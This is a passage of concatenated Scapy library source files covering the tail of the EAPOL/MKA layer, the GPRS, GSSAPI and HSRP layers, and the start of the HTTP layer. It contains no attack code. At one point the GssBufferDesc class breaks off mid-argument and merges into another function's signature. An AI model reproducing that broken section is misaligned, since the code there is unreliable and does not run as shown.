MKAPeerListTuple(Packet): """ Live / Potential Peer List parameter sets tuples (802.1X-2010, section 11.11). # noqa: E501 """ name = "Peer List Tuple" fields_desc = [ XStrFixedLenField("member_id", "", length=12), XStrFixedLenField("message_number", "", length=4), ] class MKALivePeerListParamSet(MKAParamSet): """ Live Peer List parameter sets (802.1X-2010, section 11.11). """ ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11 ######################################################################### # name = "Live Peer List Parameter Set" fields_desc = [ PadField( ByteEnumField( "param_set_type", 1, _parameter_set_types ), 2, padwith=b"\x00" ), ShortField("param_set_body_len", 0), PacketListField("member_id_message_num", [], MKAPeerListTuple) ] class MKAPotentialPeerListParamSet(MKAParamSet): """ Potential Peer List parameter sets (802.1X-2010, section 11.11). """ ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11 ######################################################################### # name = "Potential Peer List Parameter Set" fields_desc = [ PadField( ByteEnumField( "param_set_type", 2, _parameter_set_types ), 2, padwith=b"\x00" ), ShortField("param_set_body_len", 0), PacketListField("member_id_message_num", [], MKAPeerListTuple) ] class MKASAKUseParamSet(MKAParamSet): """ SAK Use Parameter Set (802.1X-2010, section 11.11). """ ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11 ######################################################################### # name = "SAK Use Parameter Set" fields_desc = [ ByteEnumField("param_set_type", 3, _parameter_set_types), BitField("latest_key_an", 0, 2), BitField("latest_key_tx", 0, 1), BitField("latest_key_rx", 0, 1), BitField("old_key_an", 0, 2), BitField("old_key_tx", 0, 1), BitField("old_key_rx", 0, 1), BitField("plain_tx", 0, 1), BitField("plain_rx", 0, 1), BitField("X", 0, 1), BitField("delay_protect", 0, 1), BitField("param_set_body_len", 0, 12), XStrFixedLenField("latest_key_key_server_member_id", "", length=12), XStrFixedLenField("latest_key_key_number", "", length=4), XStrFixedLenField("latest_key_lowest_acceptable_pn", "", length=4), XStrFixedLenField("old_key_key_server_member_id", "", length=12), XStrFixedLenField("old_key_key_number", "", length=4), XStrFixedLenField("old_key_lowest_acceptable_pn", "", length=4) ] class MKADistributedSAKParamSet(MKAParamSet): """ Distributed SAK parameter set (802.1X-2010, section 11.11). """ ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11 ######################################################################### # name = "Distributed SAK parameter set" fields_desc = [ ByteEnumField("param_set_type", 4, _parameter_set_types), BitField("distributed_an", 0, 2), BitField("confidentiality_offset", 0, 2), BitField("unused", 0, 4), ShortField("param_set_body_len", 0), XStrFixedLenField("key_number", "", length=4), ConditionalField( XStrFixedLenField("macsec_cipher_suite", "", length=8), lambda pkt: pkt.param_set_body_len > 28 ), XStrFixedLenField( "sak_aes_key_wrap", "", length=MKAParamSet.EAPOL_MKA_DEFAULT_KEY_WRAP_LEN ) ] class MKADistributedCAKParamSet(MKAParamSet): """ Distributed CAK Parameter Set (802.1X-2010, section 11.11). """ ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11 ######################################################################### # name = "Distributed CAK parameter set" fields_desc = [ PadField( ByteEnumField( "param_set_type", 5, _parameter_set_types ), 2, padwith=b"\x00" ), ShortField("param_set_body_len", 0), XStrFixedLenField( "cak_aes_key_wrap", "", length=MKAParamSet.EAPOL_MKA_DEFAULT_KEY_WRAP_LEN ), XStrField("cak_key_name", "") ] class MKAICVSet(MKAParamSet): """ ICV (802.1X-2010, section 11.11). """ ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11 ######################################################################### # name = "ICV" fields_desc = [ PadField( ByteEnumField( "param_set_type", 255, _parameter_set_types ), 2, padwith=b"\x00" ), ShortField("param_set_body_len", 0), XStrFixedLenField("icv", "", length=MKAParamSet.MACSEC_DEFAULT_ICV_LEN) ] class MKAParamSetPacketListField(PacketListField): """ PacketListField that handles the parameter sets. """ PARAM_SET_LEN_MASK = 0b0000111111111111 def m2i(self, pkt, m): return MKAParamSet(m) def getfield(self, pkt, s): lst = [] remain = s while remain: len_bytes = struct.unpack("!H", remain[2:4])[0] param_set_len = self.__class__.PARAM_SET_LEN_MASK & len_bytes current = remain[:4 + param_set_len] remain = remain[4 + param_set_len:] current_packet = self.m2i(pkt, current) lst.append(current_packet) return remain, lst class MKAPDU(Packet): """ MACsec Key Agreement Protocol Data Unit. """ ######################################################################### # # IEEE 802.1X-2010 standard # Section 11.11 ######################################################################### # name = "MKPDU" fields_desc = [ PacketField("basic_param_set", "", MKABasicParamSet), MKAParamSetPacketListField("parameter_sets", [], MKAParamSet), ] def extract_padding(self, s): return "", s # Bind EAPOL types bind_layers(EAPOL, EAP, type=0) bind_layers(EAPOL, EAPOL_KEY, type=3) bind_layers(EAPOL, MKAPDU, type=5) bind_bottom_up(Ether, EAPOL, type=0x888e) # the reserved IEEE Std 802.1X PAE address bind_top_down(Ether, EAPOL, dst='01:80:c2:00:00:03', type=0x888e) bind_layers(CookedLinux, EAPOL, proto=0x888e) bind_layers(SNAP, EAPOL, code=0x888e) bind_layers(GRE, EAPOL, proto=0x888e) ================================================ FILE: scapy/layers/gprs.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ GPRS (General Packet Radio Service) for mobile data communication. """ from scapy.fields import StrStopField from scapy.packet import Packet, bind_layers from scapy.layers.inet import IP class GPRS(Packet): name = "GPRSdummy" fields_desc = [ StrStopField("dummy", "", b"\x65\x00\x00", 1) ] bind_layers(GPRS, IP,) ================================================ FILE: scapy/layers/gssapi.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter """ Generic Security Services (GSS) API Implements parts of: - GSSAPI: RFC4121 / RFC2743 - GSSAPI C bindings: RFC2744 - Channel Bindings for TLS: RFC5929 This is implemented in the following SSPs: - :class:`~scapy.layers.ntlm.NTLMSSP` - :class:`~scapy.layers.kerberos.KerberosSSP` - :class:`~scapy.layers.spnego.SPNEGOSSP` - :class:`~scapy.layers.msrpce.msnrpc.NetlogonSSP` .. note:: You will find more complete documentation for this layer over at `GSSAPI `_ """ import abc from dataclasses import dataclass from enum import Enum, IntEnum, IntFlag from scapy.asn1.asn1 import ( ASN1_SEQUENCE, ASN1_Class_UNIVERSAL, ASN1_Codecs, ) from scapy.asn1.ber import BERcodec_SEQUENCE, BER_id_dec from scapy.asn1.mib import conf # loads conf.mib from scapy.asn1fields import ( ASN1F_OID, ASN1F_PACKET, ASN1F_SEQUENCE, ) from scapy.asn1packet import ASN1_Packet from scapy.error import log_runtime from scapy.fields import ( FieldLenField, LEIntEnumField, PacketField, StrLenField, ) from scapy.packet import Packet # Type hints from typing import ( Any, List, Optional, Tuple, ) # https://datatracker.ietf.org/doc/html/rfc1508#page-48 class ASN1_Class_GSSAPI(ASN1_Class_UNIVERSAL): name = "GSSAPI" APPLICATION = 0x60 class ASN1_GSSAPI_APPLICATION(ASN1_SEQUENCE): tag = ASN1_Class_GSSAPI.APPLICATION class BERcodec_GSSAPI_APPLICATION(BERcodec_SEQUENCE): tag = ASN1_Class_GSSAPI.APPLICATION class ASN1F_GSSAPI_APPLICATION(ASN1F_SEQUENCE): ASN1_tag = ASN1_Class_GSSAPI.APPLICATION # GSS API Blob # https://datatracker.ietf.org/doc/html/rfc4121 # Filled by providers _GSSAPI_OIDS = {} _GSSAPI_SIGNATURE_OIDS = {} # section 4.1 class GSSAPI_BLOB(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_GSSAPI_APPLICATION( ASN1F_OID("MechType", "1.3.6.1.5.5.2"), ASN1F_PACKET( "innerToken", None, None, next_cls_cb=lambda pkt: _GSSAPI_OIDS.get(pkt.MechType.val, conf.raw_layer), ), ) @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 1: if _pkt[0] & 0xA0 >= 0xA0: from scapy.layers.spnego import SPNEGO_negToken # XXX: sometimes the token is raw, we should look from # the session what to use here. For now: hardcode SPNEGO # (THIS IS A VERY STRONG ASSUMPTION) return SPNEGO_negToken elif _pkt[:7] == b"NTLMSSP": from scapy.layers.ntlm import NTLM_Header # XXX: if no mechTypes are provided during SPNEGO exchange, # Windows falls back to a plain NTLM_Header. return NTLM_Header.dispatch_hook(_pkt=_pkt, *args, **kargs) elif BER_id_dec(_pkt)[0] & 0x7F > 0x60: from scapy.layers.kerberos import Kerberos # XXX: Heuristic to detect raw Kerberos packets, when Windows # fallsback or when the parent data hasn't got any mechtype specified. return Kerberos return cls # Same but to store the signatures (e.g. DCE/RPC) class GSSAPI_BLOB_SIGNATURE(ASN1_Packet): ASN1_codec = ASN1_Codecs.BER ASN1_root = ASN1F_GSSAPI_APPLICATION( ASN1F_OID("MechType", "1.3.6.1.5.5.2"), ASN1F_PACKET( "innerToken", None, None, next_cls_cb=lambda pkt: _GSSAPI_SIGNATURE_OIDS.get( pkt.MechType.val, conf.raw_layer ), # noqa: E501 ), ) @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 2: # Sometimes the token is raw. Detect that with educated # heuristics. if _pkt[:2] in [b"\x04\x04", b"\x05\x04"]: from scapy.layers.kerberos import KRB_InnerToken return KRB_InnerToken elif len(_pkt) >= 4 and _pkt[:4] == b"\x01\x00\x00\x00": from scapy.layers.ntlm import NTLMSSP_MESSAGE_SIGNATURE return NTLMSSP_MESSAGE_SIGNATURE return cls class _GSSAPI_Field(PacketField): """ PacketField that contains a GSSAPI_BLOB_SIGNATURE, but one that can have a payload when not encrypted. """ __slots__ = ["pay_cls"] def __init__(self, name, pay_cls): self.pay_cls = pay_cls super().__init__( name, None, GSSAPI_BLOB_SIGNATURE, ) def getfield(self, pkt, s): remain, val = super().getfield(pkt, s) if remain and val: val.payload = self.pay_cls(remain) return b"", val return remain, val # RFC2744 Annex A, Null values GSS_C_QOP_DEFAULT = 0 GSS_C_NO_CHANNEL_BINDINGS = b"\x00" # RFC2744 sect 3.9 - Status Values GSS_S_COMPLETE = 0 # These errors are encoded into the 32-bit GSS status code as follows: # MSB LSB # |------------------------------------------------------------| # | Calling Error | Routine Error | Supplementary Info | # |------------------------------------------------------------| # Bit 31 24 23 16 15 0 GSS_C_CALLING_ERROR_OFFSET = 24 GSS_C_ROUTINE_ERROR_OFFSET = 16 GSS_C_SUPPLEMENTARY_OFFSET = 0 # Calling errors: GSS_S_CALL_INACCESSIBLE_READ = 1 << GSS_C_CALLING_ERROR_OFFSET GSS_S_CALL_INACCESSIBLE_WRITE = 2 << GSS_C_CALLING_ERROR_OFFSET GSS_S_CALL_BAD_STRUCTURE = 3 << GSS_C_CALLING_ERROR_OFFSET # Routine errors: GSS_S_BAD_MECH = 1 << GSS_C_ROUTINE_ERROR_OFFSET GSS_S_BAD_NAME = 2 << GSS_C_ROUTINE_ERROR_OFFSET GSS_S_BAD_NAMETYPE = 3 << GSS_C_ROUTINE_ERROR_OFFSET GSS_S_BAD_BINDINGS = 4 << GSS_C_ROUTINE_ERROR_OFFSET GSS_S_BAD_STATUS = 5 << GSS_C_ROUTINE_ERROR_OFFSET GSS_S_BAD_SIG = 6 << GSS_C_ROUTINE_ERROR_OFFSET GSS_S_BAD_MIC = GSS_S_BAD_SIG GSS_S_NO_CRED = 7 << GSS_C_ROUTINE_ERROR_OFFSET GSS_S_NO_CONTEXT = 8 << GSS_C_ROUTINE_ERROR_OFFSET GSS_S_DEFECTIVE_TOKEN = 9 << GSS_C_ROUTINE_ERROR_OFFSET GSS_S_DEFECTIVE_CREDENTIAL = 10 << GSS_C_ROUTINE_ERROR_OFFSET GSS_S_CREDENTIALS_EXPIRED = 11 << GSS_C_ROUTINE_ERROR_OFFSET GSS_S_CONTEXT_EXPIRED = 12 << GSS_C_ROUTINE_ERROR_OFFSET GSS_S_FAILURE = 13 << GSS_C_ROUTINE_ERROR_OFFSET GSS_S_BAD_QOP = 14 << GSS_C_ROUTINE_ERROR_OFFSET GSS_S_UNAUTHORIZED = 15 << GSS_C_ROUTINE_ERROR_OFFSET GSS_S_UNAVAILABLE = 16 << GSS_C_ROUTINE_ERROR_OFFSET GSS_S_DUPLICATE_ELEMENT = 17 << GSS_C_ROUTINE_ERROR_OFFSET GSS_S_NAME_NOT_MN = 18 << GSS_C_ROUTINE_ERROR_OFFSET # Supplementary info bits: GSS_S_CONTINUE_NEEDED = 1 << (GSS_C_SUPPLEMENTARY_OFFSET + 0) GSS_S_DUPLICATE_TOKEN = 1 << (GSS_C_SUPPLEMENTARY_OFFSET + 1) GSS_S_OLD_TOKEN = 1 << (GSS_C_SUPPLEMENTARY_OFFSET + 2) GSS_S_UNSEQ_TOKEN = 1 << (GSS_C_SUPPLEMENTARY_OFFSET + 3) GSS_S_GAP_TOKEN = 1 << (GSS_C_SUPPLEMENTARY_OFFSET + 4) # Address families (RFC2744 sect 3.11) _GSS_ADDRTYPE = { 0: "GSS_C_AF_UNSPEC", 1: "GSS_C_AF_LOCAL", 2: "GSS_C_AF_INET", 3: "GSS_C_AF_IMPLINK", 4: "GSS_C_AF_PUP", 5: "GSS_C_AF_CHAOS", 6: "GSS_C_AF_NS", 7: "GSS_C_AF_NBS", 8: "GSS_C_AF_ECMA", 9: "GSS_C_AF_DATAKIT", 10: "GSS_C_AF_CCITT", 11: "GSS_C_AF_SNA", 12: "GSS_C_AF_DECnet", 13: "GSS_C_AF_DLI", 14: "GSS_C_AF_LAT", 15: "GSS_C_AF_HYLINK", 16: "GSS_C_AF_APPLETALK", 17: "GSS_C_AF_BSC", 18: "GSS_C_AF_DSS", 19: "GSS_C_AF_OSI", 21: "GSS_C_AF_X25", 255: "GSS_C_AF_NULLADDR", } # GSS Structures class ChannelBindingType(Enum): """ Channel Binding Application Data types, per: RFC 5929 / RFC 9266 """ TLS_UNIQUE = "unique" TLS_SERVER_END_POINT = "tls-server-end-point" TLS_UNIQUE_FOR_TELNET = "tls-unique-for-telnet" TLS_EXPORTER = "tls-exporter" # RFC9266 class GssBufferDesc(Packet): name = "gss_buffer_desc" fields_desc = [ FieldLenField("length", None, length_of="value", fmt=" "GssChannelBindings": """ Build a GssChannelBindings struct from a socket :param token_type: the type from ChannelBindingType, per RFC5929 :param sslsock: take the certificate from the the socket.socket object :param certfile: take the certificate from a file """ from scapy.layers.tls.cert import Cert from cryptography.hazmat.primitives import hashes if token_type == ChannelBindingType.TLS_SERVER_END_POINT: # RFC5929 sect 4 try: # Parse certificate if certfile is not None: cert = Cert(certfile) else: cert = Cert(sslsock.getpeercert(binary_form=True)) except Exception: # We failed to parse the certificate. log_runtime.warning("Failed to parse the SSL Certificate. CBT not used") return GSS_C_NO_CHANNEL_BINDINGS try: h = cert.getSignatureHash() except Exception: # We failed to get the signature algorithm. log_runtime.warning( "Failed to get the Certificate signature algorithm. CBT not used" ) return GSS_C_NO_CHANNEL_BINDINGS # RFC5929 sect 4.1 if h == hashes.MD5 or h == hashes.SHA1: h = hashes.SHA256 # Get bytes of first certificate if there are multiple c = cert.x509Cert.copy() c.remove_payload() cdata = bytes(c) # Calc hash of certificate digest = hashes.Hash(h) digest.update(cdata) cbdata = digest.finalize() elif token_type == ChannelBindingType.TLS_UNIQUE: # RFC5929 sect 3 cbdata = sslsock.get_channel_binding(cb_type="tls-unique") else: raise NotImplementedError # RFC5056 sect 2.1 # "channel bindings MUST start with the channel binding unique prefix followed # by a colon (ASCII 0x3A)." return GssChannelBindings( application_data=GssBufferDesc( value=token_type.value.encode() + b":" + cbdata ) ) # --- The base GSSAPI SSP base class class GSS_C_FLAGS(IntFlag): """ Authenticator Flags per RFC2744 req_flags """ GSS_C_DELEG_FLAG = 0x01 GSS_C_MUTUAL_FLAG = 0x02 GSS_C_REPLAY_FLAG = 0x04 GSS_C_SEQUENCE_FLAG = 0x08 GSS_C_CONF_FLAG = 0x10 # confidentiality GSS_C_INTEG_FLAG = 0x20 # integrity # RFC4757 GSS_C_DCE_STYLE = 0x1000 GSS_C_IDENTIFY_FLAG = 0x2000 GSS_C_EXTENDED_ERROR_FLAG = 0x4000 class GSS_S_FLAGS(IntFlag): """ Equivalent to Microsoft's ASC_REQ* Flags in AcceptSecurityContext """ GSS_S_ALLOW_MISSING_BINDINGS = 0x10000000 class GSS_QOP_REQ_FLAGS(IntFlag): """ Used for qop_flags """ # Windows' API requires requesters to add an extra buffer of type # 'SECBUFFER_PADDING' to receive the padding. The GSS_WrapEx API # does not provide such a mechanism and always uses it. However # some implementations like LDAP actually require NO padding, which # therefore can't be achieved with GSS_WrapEx. GSS_S_NO_SECBUFFER_PADDING = 0x10000000 class SSP: """ The general SSP class """ auth_type = 0x00 def __init__(self, **kwargs): if kwargs: raise ValueError("Unknown SSP parameters: " + ",".join(list(kwargs))) def __repr__(self): return "<%s>" % self.__class__.__name__ class CONTEXT: """ A Security context i.e. the 'state' of the secure negotiation """ __slots__ = ["state", "_flags", "passive"] def __init__(self, req_flags: Optional["GSS_C_FLAGS | GSS_S_FLAGS"] = None): if req_flags is None: # Default req_flags = ( GSS_C_FLAGS.GSS_C_EXTENDED_ERROR_FLAG | GSS_C_FLAGS.GSS_C_MUTUAL_FLAG ) self.flags = req_flags self.passive = False def clifailure(self): # This allows to reset the client context without discarding it. pass # 'flags' is the most important attribute. Use a setter to sanitize it. @property def flags(self): return self._flags @flags.setter def flags(self, x): self._flags = GSS_C_FLAGS(int(x)) def __repr__(self): return "[Default SSP]" class STATE(IntEnum): """ An Enum that contains the states of an SSP """ @abc.abstractmethod def GSS_Init_sec_context( self, Context: CONTEXT, input_token=None, target_name: Optional[str] = None, req_flags: Optional[GSS_C_FLAGS] = None, chan_bindings: GssChannelBindings = GSS_C_NO_CHANNEL_BINDINGS, ): """ GSS_Init_sec_context: client-side call for the SSP """ raise NotImplementedError @abc.abstractmethod def GSS_Accept_sec_context( self, Context: CONTEXT, input_token=None, req_flags: Optional[GSS_S_FLAGS] = GSS_S_FLAGS.GSS_S_ALLOW_MISSING_BINDINGS, chan_bindings: GssChannelBindings = GSS_C_NO_CHANNEL_BINDINGS, ): """ GSS_Accept_sec_context: server-side call for the SSP """ raise NotImplementedError @abc.abstractmethod def GSS_Inquire_names_for_mech(self) -> List[str]: """ Get the available OIDs for this mech, in order of preference. """ raise NotImplementedError # Passive @abc.abstractmethod def GSS_Passive( self, Context: CONTEXT, input_token=None, ): """ GSS_Passive: client/server call for the SSP in passive mode """ raise NotImplementedError def GSS_Passive_set_Direction(self, Context: CONTEXT, IsAcceptor=False): """ GSS_Passive_set_Direction: used to swap the direction in passive mode """ pass # MS additions (*Ex functions) @dataclass class WRAP_MSG: conf_req_flag: bool sign: bool data: bytes @abc.abstractmethod def GSS_WrapEx( self, Context: CONTEXT, msgs: List[WRAP_MSG], qop_req: int = GSS_C_QOP_DEFAULT, ) -> Tuple[List[WRAP_MSG], Any]: """ GSS_WrapEx :param Context: the SSP context :param qop_req: int (0 specifies default QOP) :param msgs: list of WRAP_MSG :returns: (data, signature) """ raise NotImplementedError @abc.abstractmethod def GSS_UnwrapEx( self, Context: CONTEXT, msgs: List[WRAP_MSG], signature ) -> List[WRAP_MSG]: """ :param Context: the SSP context :param msgs: list of WRAP_MSG :param signature: the signature :raises ValueError: if MIC failure. :returns: data """ raise NotImplementedError @dataclass class MIC_MSG: sign: bool data: bytes @abc.abstractmethod def GSS_GetMICEx( self, Context: CONTEXT, msgs: List[MIC_MSG], qop_req: int = GSS_C_QOP_DEFAULT, ) -> Any: """ GSS_GetMICEx :param Context: the SSP context :param qop_req: int (0 specifies default QOP) :param msgs: list of VERIF_MSG :returns: signature """ raise NotImplementedError @abc.abstractmethod def GSS_VerifyMICEx( self, Context: CONTEXT, msgs: List[MIC_MSG], signature, ) -> None: """ :param Context: the SSP context :param msgs: list of VERIF_MSG :param signature: the signature :raises ValueError: if MIC failure. """ raise NotImplementedError @abc.abstractmethod def MaximumSignatureLength(self, Context: CONTEXT): """ Returns the Maximum Signature length. This will be used in auth_len in DceRpc5, and is necessary for PFC_SUPPORT_HEADER_SIGN to work properly. """ raise NotImplementedError # RFC 2743 # sect 2.3.1 def GSS_GetMIC( self, Context: CONTEXT, message: bytes, qop_req: int = GSS_C_QOP_DEFAULT, ): """ See GSS_GetMICEx """ return self.GSS_GetMICEx( Context, [ self.MIC_MSG( sign=True, data=message, ) ], qop_req=qop_req, ) # sect 2.3.2 def GSS_VerifyMIC( self, Context: CONTEXT, message: bytes, signature, ) -> None: """ See GSS_VerifyMICEx """ self.GSS_VerifyMICEx( Context, [ self.MIC_MSG( sign=True, data=message, ) ], signature, ) # sect 2.3.3 def GSS_Wrap( self, Context: CONTEXT, input_message: bytes, conf_req_flag: bool, qop_req: int = GSS_C_QOP_DEFAULT, ): """ See GSS_WrapEx """ _msgs, signature = self.GSS_WrapEx( Context, [ self.WRAP_MSG( conf_req_flag=conf_req_flag, sign=True, data=input_message, ) ], qop_req=qop_req, ) if _msgs[0].data: signature /= _msgs[0].data return signature # sect 2.3.4 def GSS_Unwrap( self, Context: CONTEXT, signature, ): """ See GSS_UnwrapEx """ data = b"" if signature.payload: # signature has a payload that is the data. Let's get that payload # in its original form, and use it for verifying the checksum. if signature.payload.original: data = signature.payload.original else: data = bytes(signature.payload) signature = signature.copy() signature.remove_payload() return self.GSS_UnwrapEx( Context, [ self.WRAP_MSG( conf_req_flag=True, sign=True, data=data, ) ], signature, )[0].data # MISC def NegTokenInit2(self): """ Server-Initiation See [MS-SPNG] sect 3.2.5.2 """ return None, None def SupportsMechListMIC(self): """ Returns whether mechListMIC is supported or not """ return True def GetMechListMIC(self, Context, input): """ Compute mechListMIC """ return self.GSS_GetMIC(Context, input) def VerifyMechListMIC(self, Context, otherMIC, input): """ Verify mechListMIC """ return self.GSS_VerifyMIC(Context, input, otherMIC) def LegsAmount(self, Context: CONTEXT): """ Returns the amount of 'legs' (how MS calls it) of the SSP. i.e. 2 for Kerberos, 3 for NTLM and Netlogon """ return 2 ================================================ FILE: scapy/layers/hsrp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Mathieu RENARD """ HSRP (Hot Standby Router Protocol) A proprietary redundancy protocol for Cisco routers. - HSRP Version 1: RFC 2281 - HSRP Version 2: http://www.smartnetworks.jp/2006/02/hsrp_8_hsrp_version_2.html """ from scapy.config import conf from scapy.fields import ByteEnumField, ByteField, IPField, SourceIPField, \ StrFixedLenField, XIntField, XShortField from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.layers.inet import DestIPField, UDP class HSRP(Packet): name = "HSRP" fields_desc = [ ByteField("version", 0), ByteEnumField("opcode", 0, {0: "Hello", 1: "Coup", 2: "Resign", 3: "Advertise"}), # noqa: E501 ByteEnumField("state", 16, {0: "Initial", 1: "Learn", 2: "Listen", 4: "Speak", 8: "Standby", 16: "Active"}), # noqa: E501 ByteField("hellotime", 3), ByteField("holdtime", 10), ByteField("priority", 120), ByteField("group", 1), ByteField("reserved", 0), StrFixedLenField("auth", b"cisco" + b"\00" * 3, 8), IPField("virtualIP", "192.168.1.1")] def guess_payload_class(self, payload): if self.underlayer.len > 28: return HSRPmd5 else: return Packet.guess_payload_class(self, payload) class HSRPmd5(Packet): name = "HSRP MD5 Authentication" fields_desc = [ ByteEnumField("type", 4, {4: "MD5 authentication"}), ByteField("len", None), ByteEnumField("algo", 0, {1: "MD5"}), ByteField("padding", 0x00), XShortField("flags", 0x00), SourceIPField("sourceip"), XIntField("keyid", 0x00), StrFixedLenField("authdigest", b"\00" * 16, 16)] def post_build(self, p, pay): if self.len is None and pay: tmp_len = len(pay) p = p[:1] + hex(tmp_len)[30:] + p[30:] return p bind_bottom_up(UDP, HSRP, dport=1985) bind_bottom_up(UDP, HSRP, sport=1985) bind_bottom_up(UDP, HSRP, dport=2029) bind_bottom_up(UDP, HSRP, sport=2029) bind_layers(UDP, HSRP, dport=1985, sport=1985) bind_layers(UDP, HSRP, dport=2029, sport=2029) DestIPField.bind_addr(UDP, "224.0.0.2", dport=1985) if conf.ipv6_enabled: from scapy.layers.inet6 import DestIP6Field DestIP6Field.bind_addr(UDP, "ff02::66", dport=2029) ================================================ FILE: scapy/layers/http.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2012 Luca Invernizzi # Copyright (C) 2012 Steeve Barbeau # Copyright (C) 2019 Gabriel Potter """ HTTP 1.0 layer. Load using:: from scapy.layers.http import * Or (console only):: >>> load_layer("http") Note that this layer ISN'T loaded by default, as quite experimental for now. To follow HTTP packets streams = group packets together to get the whole request/answer, use ``TCPSession`` as:: >>> sniff(session=TCPSession) # Live on-the-flow session >>> sniff(offline="./http_chunk.pcap", session=TCPSession) # pcap This will decode HTTP packets using ``Content_Length`` or chunks, and will also decompress the packets when needed. Note: on failure, decompression will be ignored. You can turn auto-decompression/auto-compression off with:: >>> conf.contribs["http"]["auto_compression"] = False (Defaults to True) You can also turn auto-chunking/dechunking off with:: >>> conf.contribs["http"]["auto_chunk"] = False (Defaults to True) """ # This file is a rewritten version of the former scapy_http plugin. # It was reimplemented for scapy 2.4.3+ using sessions, stream handling. # Original Authors : Steeve Barbeau, Luca Invernizzi import base64 import datetime import gzip import io import os import re import socket import ssl import struct import subprocess from enum import Enum from scapy.compat import plain_str, bytes_encode from scapy.automaton import Automaton, ATMT from scapy.config import conf from scapy.consts import WINDOWS from scapy.error import warning, log_loading, log_interactive, Scapy_Exception from scapy.fields import StrField from scapy.packet import Packet, bind_layers, bind_bottom_up, Raw from scapy.supersocket import StreamSocket, SSLStreamSocket from scapy.utils import get_temp_file, ContextManagerSubprocess from scapy.layers.gssapi import ( ChannelBindingType, GSSAPI_BLOB, GSS_C_NO_CHANNEL_BINDINGS, GSS_S_COMPLETE, GSS_S_CONTINUE_NEEDED, GSS_S_FAILURE, GSS_S_FLAGS, GssChannelBindings, ) from scapy.layers.inet import TCP try: import brotli _is_brotli_available = True except ImportError: _is_brotli_available = False try: import lzw _is_lzw_available = True except ImportError: _is_lzw_available = False try: import zstandard _is_zstd_available = True except ImportError: _is_zstd_available = False if "http" not in conf.contribs: conf.contribs["http"] = {} conf.contribs["http"]["auto_compression"] = True conf.contribs["http"]["auto_chunk"] = True # https://en.wikipedia.org/wiki/List_of_HTTP_header_fields GENERAL_HEADERS = [ "Cache-Control", "Connection", "Permanent", "Content-Length", "Content-MD5", "Content-Type", "Date", "Keep-Alive", "Pragma", "Upgrade", "Via", "Warning", ] COMMON_UNSTANDARD_GENERAL_HEADERS = ["X-Request-ID", "X-Correlation-ID"] REQUEST_HEADERS = [ "A-IM", "Accept", "Accept-Charset", "Accept-Encoding", "Accept-Language", "Accept-Datetime", "Access-Control-Request-Method", "Access-Control-Request-Headers", "Authorization", "Cookie", "Expect", "Forwarded", "From", "Host", "HTTP2-Settings", "If-Match", "If-Modified-Since", "If-None-Match", "If-Range", "If-Unmodified-Since", "Max-Forwards", "Origin", "Proxy-Authorization", "Range", "Referer", "TE", "User-Agent", ] COMMON_UNSTANDARD_REQUEST_HEADERS = [ "Upgrade-Insecure-Requests", "X-Requested-With", "DNT", "X-Forwarded-For", "X-Forwarded-Host", "X-Forwarded-Proto", "Front-End-Https", "X-Http-Method-Override", "X-ATT-DeviceId", "X-Wap-Profile", "Proxy-Connection", "X-UIDH", "X-Csrf-Token", "Save-Data", ] RESPONSE_HEADERS = [ "Access-Control-Allow-Origin", "Access-Control-Allow-Credentials", "Access-Control-Expose-Headers", "Access-Control-Max-Age", "Access-Control-Allow-Methods", "Access-Control-Allow-Headers", "Accept-Patch", "Accept-Ranges", "Age", "Allow", "Alt-Svc", "Content-Disposition", "Content-Encoding", "Content-Language", "Content-Location", "Content-Range", "Delta-Base", "ETag", "Expires", "IM", "Last-Modified", "Link", "Location", "P3P", "Proxy-Authenticate", "Public-Key-Pins", "Retry-After", "Server", "Set-Cookie", "Strict-Transport-Security", "Trailer", "Transfer-Encoding", "Tk", "Vary", "WWW-Authenticate", "X-Frame-Options", ] COMMON_UNSTANDARD_RESPONSE_HEADERS = [ "Content-Security-Policy", "X-Content-Security-Policy", "X-WebKit-CSP", "Refresh", "Status", "Timing-Allow-Origin", "X-Content-Duration", "X-Content-Type-Options", "X-Powered-By", "X-UA-Compatible", "X-XSS-Protection", ] # Dissection / Build tools def _strip_header_name(name): """Takes a header key (i.e., "Host" in "Host: www.google.com", and returns a stripped representation of it """ return plain_str(name.strip()).replace("-", "_") def _header_line(name, val): """Creates a HTTP header line""" # Python 3.4 doesn't support % on bytes return bytes_encode(name) + b": " + bytes_encode(val) def _parse_headers(s): headers = s.split(b"\r\n") headers_found = {} for header_line in headers: try: key, value = header_line.split(b":", 1) except ValueError: continue header_key = _strip_header_name(key).lower() headers_found[header_key] = (key, value.strip()) return headers_found def _parse_headers_and_body(s): """Takes a HTTP packet, and returns a tuple containing: _ the first line (e.g., "GET ...") _ the headers in a dictionary _ the body """ crlfcrlf = b"\r\n\r\n" crlfcrlfIndex = s.find(crlfcrlf) if crlfcrlfIndex != -1: headers = s[: crlfcrlfIndex + len(crlfcrlf)] body = s[crlfcrlfIndex + len(crlfcrlf) :] else: headers = s body = b"" first_line, headers = headers.split(b"\r\n", 1) return first_line.strip(), _parse_headers(headers), body def _dissect_headers(obj, s): """Takes a HTTP packet as the string s, and populates the scapy layer obj (either HTTPResponse or HTTPRequest). Returns the first line of the HTTP packet, and the body """ first_line, headers, body = _parse_headers_and_body(s) for f in obj.fields_desc: # We want to still parse wrongly capitalized fields stripped_name = _strip_header_name(f.name).lower() try: _, value = headers.pop(stripped_name) except KeyError: continue obj.setfieldval(f.name, value) if headers: headers = dict(headers.values()) obj.setfieldval("Unknown_Headers", headers) return first_line, body class _HTTPContent(Packet): 